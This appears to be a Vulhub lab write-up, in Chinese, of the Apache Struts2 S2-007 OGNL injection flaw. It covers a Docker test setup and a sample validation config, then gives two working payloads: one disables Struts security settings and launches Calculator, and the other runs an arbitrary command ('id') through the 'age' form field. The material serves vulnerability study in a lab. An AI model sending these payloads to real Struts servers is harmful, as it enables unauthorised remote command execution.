S2-007 遠程代碼執行漏洞
Path struts2/s2-007
影響版本: 2.0.0 - 2.2.3 漏洞詳情: http://struts.apache.org/docs/s2-007.html
測試環境搭建
docker-compose build
docker-compose up -d
原理
參考 http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html
當配置了驗證規則 <ActionName>-validation.xml 時,若類型驗證轉換出錯,后端默認會將用戶提交的表單值通過字符串拼接,然后執行一次 OGNL 表達式解析并返回。例如這里有一個 UserAction:
(...)
public class UserAction extends ActionSupport {
private Integer age;
private String name;
private String email;
(...)
然后配置有 UserAction-validation.xml:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE validators PUBLIC
"-//OpenSymphony Group//XWork Validator 1.0//EN"
"http://www.opensymphony.com/xwork/xwork-validator-1.0.2.dtd">
<validators>
<field name="age">
<field-validator type="int">
<param name="min">1</param>
<param name="max">150</param>
</field-validator>
</field>
</validators>
當用戶提交 age 為字符串而非整形數值時,后端用代碼拼接 "'" + value + "'" 然后對其進行 OGNL 表達式解析。要成功利用,只需要找到一個配置了類似驗證規則的表單字段使之轉換出錯,借助類似 SQLi 注入單引號拼接的方式即可注入任意 OGNL 表達式。
因為受影響版本為 Struts2 2.0.0 - Struts2 2.2.3,所以這里給出繞過安全配置進行命令執行的 Payload(彈計算器,無法在本項目環境下運行):
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@java.lang.Runtime@getRuntime().exec("open /Applications/Calculator.app")) + '
Exploit
@rickgray 在原文中只給了彈計算器的POC,我給出執行任意代碼的EXP:
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '
將Exp傳入可以利用的輸入框(age),得到命令執行結果:

Vulhub 文檔